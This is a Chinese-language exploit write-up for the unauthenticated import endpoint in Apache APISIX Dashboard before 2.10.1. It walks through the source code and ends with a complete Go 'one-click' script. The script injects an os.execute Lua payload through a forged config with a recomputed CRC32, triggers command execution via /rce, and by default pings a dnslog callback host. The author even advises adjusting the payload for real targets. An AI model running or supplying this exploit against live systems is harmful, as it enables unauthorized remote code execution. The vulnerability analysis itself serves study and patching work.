安装docker和docker-compose,然后
git clone https://github.com/apache/apisix-docker
修改 /home/ubuntu/apisix-docker/example/docker-compose.yml
文件,改一个老版本。
然后 docker-compose -p docker-apisix up -d
默认会起几个服务,9000端口是Dashboard,9080是endpoint。
根据官方公告 和Apache的list
In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework
droplet
on the basis of frameworkgin
, all APIs and authentication middleware are developed based on frameworkdroplet
, but some API directly use the interface of frameworkgin
thus bypassing the authentication.
可知漏洞产生原因为该用gin的用了droplet框架,然后导致某些api没鉴权。
authentication.go文件的逻辑用gin框架重写了。
看下在哪用到的,go程序入口都在main.go文件中,该项目用到了cobra库,所以在api/cmd/root.go中是真正程序启动的地方
这里调用了manageAPI函数
在该函数中,新建了一个server,然后进入Start函数,而Start函数所在的api/internal/core/server/server.go 有init初始化函数
在init函数中setupAPI初始化manage api
添加了几个默认的中间件,这里用到了AuthenticationMiddleware授权中间件。而这里添加的中间件要想在路由中过滤应该规范写法,来看一个正确的写法
比如 http://127.0.0.1:9000/apisix/admin/tool/version api/internal/handler/tool/tool.go:40
在应用路由的时候用到wgin.Wraps(h.Version)
来包装函数,而在api/internal/handler/migrate/migrate.go:45
中没进行包装,导致授权中间件不起作用。
所以两个api可以未授权访问
r.GET("/apisix/admin/migrate/export", h.ExportConfig)
r.POST("/apisix/admin/migrate/import", h.ImportConfig)
根据官网文档来看,有一个Script功能 可以执行lua脚本。由此我们可以通过导出配置,然后修改配置加上一个script块再通过未授权接口覆盖导入。
先通过http://127.0.0.1:9000/apisix/admin/migrate/export 导出配置,然后加上"script": "os.execute('touch /tmp/a')"
块
然后重新计算下crc32附加到文件末尾导入,最后访问http://172.16.16.129:9080/rce 执行命令。
贴一个来自c26的一键梭哈脚本
package main
import (
"bytes"
"encoding/binary"
"errors"
"fmt"
"hash/crc32"
"io"
"io/ioutil"
"log"
"mime/multipart"
"net/http"
)
var (
checksumLength = 4 // 4 bytes (uint32)
client = &http.Client{}
)
func main() {
url := "http://172.16.16.129:9000"
gatewayUrl := "http://172.16.16.129:9080"
cmd := "ping -nc1 apisix.dnslog.cn"
exploit(url, gatewayUrl, cmd)
}
func exploit(url, gatewayUrl string, cmd string) {
payload, err := gen(cmd)
if err != nil {
log.Fatal(err)
}
createRoute(payload, url)
requestEndpoint(gatewayUrl)
}
func requestEndpoint(gatewayUrl string) {
res, err := client.Get(gatewayUrl + "/rce")
if err != nil {
return
}
b, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Fatal(err)
}
fmt.Println(string(b))
}
func createRoute(payload []byte, url string) {
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
part, err := writer.CreateFormFile("file", "test")
if err != nil {
log.Fatal(err)
}
_, err = io.Copy(part, bytes.NewReader(payload))
_ = writer.WriteField("mode", "overwrite")
if err := writer.Close(); err != nil {
log.Fatal(err)
}
req, err := http.NewRequest("POST", url+"/apisix/admin/migrate/import", body)
if err != nil {
log.Fatal(err)
}
req.Header.Add("Content-Type", writer.FormDataContentType())
res, err := client.Do(req)
if err != nil {
log.Fatal(err)
}
b, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Fatal(err)
}
fmt.Println(string(b))
}
func gen(cmd string) ([]byte, error) {
data := []byte(fmt.Sprintf(`{"Counsumers":[],"Routes":[{"id":"387796883096994503","create_time":1640674554,"update_time":1640677637,"uris":["/rce"],"name":"rce","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('%s')","script_id":"387796883096994503","upstream_id":"387796832866009799","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"387796832866009799","create_time":1640674524,"update_time":1640674524,"nodes":[{"host":"10.18.134.63","port":58344,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"testUpstream"}],"GlobalPlugins":[],"PluginConfigs":[]}`, cmd))
checksumUint32 := crc32.ChecksumIEEE(data)
checksum := make([]byte, checksumLength)
binary.BigEndian.PutUint32(checksum, checksumUint32)
content := append(data, checksum...)
importData := content[:len(content)-4]
checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
if checksum2 != crc32.ChecksumIEEE(importData) {
return nil, errors.New("Checksum check failure,maybe file broken")
}
return content, nil
}
实际利用应该按情况根据导出的配置修改data字符串,不然可能会把目标的endpoint打坏。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。